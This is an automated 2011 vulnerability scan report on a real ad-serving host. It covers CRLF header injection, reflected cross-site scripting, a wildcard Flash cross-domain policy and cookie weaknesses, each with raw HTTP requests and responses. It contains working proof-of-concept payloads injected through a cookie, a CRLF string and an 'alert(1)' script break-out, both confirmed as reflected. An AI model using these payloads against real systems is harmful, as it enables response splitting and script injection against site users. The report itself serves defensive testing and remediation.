CWE-113, HTTP Header Injection, Header Injection, bs.serving-sys.com

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Report generated by CloudScan Vulnerability Crawler at Fri Feb 25 13:54:40 CST 2011.


The DORK Report

Loading

1. HTTP header injection

2. Flash cross-domain policy

3. Cross-site scripting (reflected)

4. Cookie scoped to parent domain

5. Cookie without HttpOnly flag set

6. Robots.txt file

7. HTML does not specify charset

8. Content type incorrectly stated



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/adServer.bs

Issue detail

The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload a7c54%0d%0a2d03b3d1c8e was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2096796&PluID=0&w=728&h=90&ncu=$$http://adserver.adtechus.com/adlink/5242/1199643/0/225/AdId=1362780;BnId=1;itime=806147399;ku=1051630;key=security+229200155+/news/security/vulnerabilities/showArticle/dhandler;nodecode=yes;link=$$&ord=806147399&ucm=true HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=229200155&cid=RSSfeed_IWK_News
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=a7c54%0d%0a2d03b3d1c8e; A3=gIlWai1a0aCf00001; B3=8r8g0000000001tf; C4=; u2=3a6c8499-0c84-46b7-b54f-f22315d657803GI080

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=a7c54
2d03b3d1c8e
; expires=Mon, 16-May-2011 16: 43:43 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gIlWai190aCf00001gnhgai1b0cbS00001; expires=Mon, 16-May-2011 16:43:43 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=8r8g0000000001tf7.Ws0000000001tf; expires=Mon, 16-May-2011 16:43:43 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=3a6c8499-0c84-46b7-b54f-f22315d657803GI08g; expires=Mon, 16-May-2011 16:43:43 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 15 Feb 2011 21:43:42 GMT
Connection: close
Content-Length: 2045

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

2. Flash cross-domain policy  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: bs.serving-sys.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Thu, 21 Aug 2008 15:23:00 GMT
Accept-Ranges: bytes
ETag: "0e2c3cba13c91:0"
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 15 Feb 2011 21:43:00 GMT
Connection: close
Content-Length: 100

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>


3. Cross-site scripting (reflected)  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/adServer.bs

Issue detail

The value of the eyeblaster cookie is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 807f2%3balert(1)//0374bd4e429 was submitted in the eyeblaster cookie. This input was echoed as 807f2;alert(1)//0374bd4e429 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2096796&PluID=0&w=728&h=90&ncu=$$http://adserver.adtechus.com/adlink/5242/1199643/0/225/AdId=1362780;BnId=1;itime=806147399;ku=1051630;key=security+229200155+/news/security/vulnerabilities/showArticle/dhandler;nodecode=yes;link=$$&ord=806147399&ucm=true HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=229200155&cid=RSSfeed_IWK_News
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=807f2%3balert(1)//0374bd4e429; A3=gIlWai1a0aCf00001; B3=8r8g0000000001tf; C4=; u2=3a6c8499-0c84-46b7-b54f-f22315d657803GI080

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=807f2;alert(1)//0374bd4e429; expires=Mon, 16-May-2011 16:43:43 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gIlWai190aCf00001gnhgai1b0cbS00001; expires=Mon, 16-May-2011 16:43:43 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=8r8g0000000001tf7.Ws0000000001tf; expires=Mon, 16-May-2011 16:43:43 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=3a6c8499-0c84-46b7-b54f-f22315d657803GI08g; expires=Mon, 16-May-2011 16:43:43 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 15 Feb 2011 21:43:42 GMT
Connection: close
Content-Length: 2054

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...
\]/ig,ebRand).replace(/\[%tp_adid%\]/ig,4289616).replace(/\[%tp_flightid%\]/ig,2096796).replace(/\[%tp_campaignid%\]/ig,134060);}var ebO = new Object();ebO.w=728;ebO.h=90;ebO.ai=4289616;ebO.pi=0;ebO.d=807f2;alert(1)//0374bd4e429;ebO.rnd=0000000321424480;ebO.title="";ebO.jt=1;ebO.jwloc=1;ebO.jwmb=1;ebO.jwt=0;ebO.jwl=0;ebO.jww=0;ebO.jwh=0;ebO.btf=0;ebO.bgs=escape(ebBigS);ebO.rp=escape(ebResourcePath);ebO.bs=escape("bs.serving-s
...[SNIP]...

4. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/adServer.bs

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2208272&PluID=0&w=300&h=250&ord=5491847&ucm=true&ncu=$$http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/x%3B235585390%3B0-0%3B0%3B42403772%3B4252-336/280%3B40523390/40541177/1%3B%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=; expires=Mon, 16-May-2011 16:42:59 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gIlWai1a0aCf00001; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=8r8g0000000001tf; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C4=; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=58afad79-c764-4485-b03c-58e7bb8f680b3GI010; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 15 Feb 2011 21:42:59 GMT
Connection: close
Content-Length: 1951

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/adServer.bs

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2208272&PluID=0&w=300&h=250&ord=5491847&ucm=true&ncu=$$http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/x%3B235585390%3B0-0%3B0%3B42403772%3B4252-336/280%3B40523390/40541177/1%3B%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=; expires=Mon, 16-May-2011 16:42:59 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gIlWai1a0aCf00001; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=8r8g0000000001tf; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C4=; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=58afad79-c764-4485-b03c-58e7bb8f680b3GI010; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 15 Feb 2011 21:42:59 GMT
Connection: close
Content-Length: 1951

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/adServer.bs

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: bs.serving-sys.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Mon, 16 Jan 2006 20:19:44 GMT
Accept-Ranges: bytes
ETag: "0b02b30da1ac61:0"
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 15 Feb 2011 21:43:00 GMT
Connection: close
Content-Length: 28

User-agent: *
Disallow: /

7. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/adServer.bs

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2208272&PluID=0&w=300&h=250&ord=5491847&ucm=true&ncu=$$http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/x%3B235585390%3B0-0%3B0%3B42403772%3B4252-336/280%3B40523390/40541177/1%3B%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=; expires=Mon, 16-May-2011 16:42:59 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gIlWai1a0aCf00001; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=8r8g0000000001tf; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C4=; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=58afad79-c764-4485-b03c-58e7bb8f680b3GI010; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 15 Feb 2011 21:42:59 GMT
Connection: close
Content-Length: 1951

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

8. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/adServer.bs

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2208272&PluID=0&w=300&h=250&ord=5491847&ucm=true&ncu=$$http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/x%3B235585390%3B0-0%3B0%3B42403772%3B4252-336/280%3B40523390/40541177/1%3B%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=; expires=Mon, 16-May-2011 16:42:59 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gIlWai1a0aCf00001; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=8r8g0000000001tf; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C4=; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=58afad79-c764-4485-b03c-58e7bb8f680b3GI010; expires=Mon, 16-May-2011 16:42:59 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 15 Feb 2011 21:42:59 GMT
Connection: close
Content-Length: 1951

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Fri Feb 25 13:54:40 CST 2011.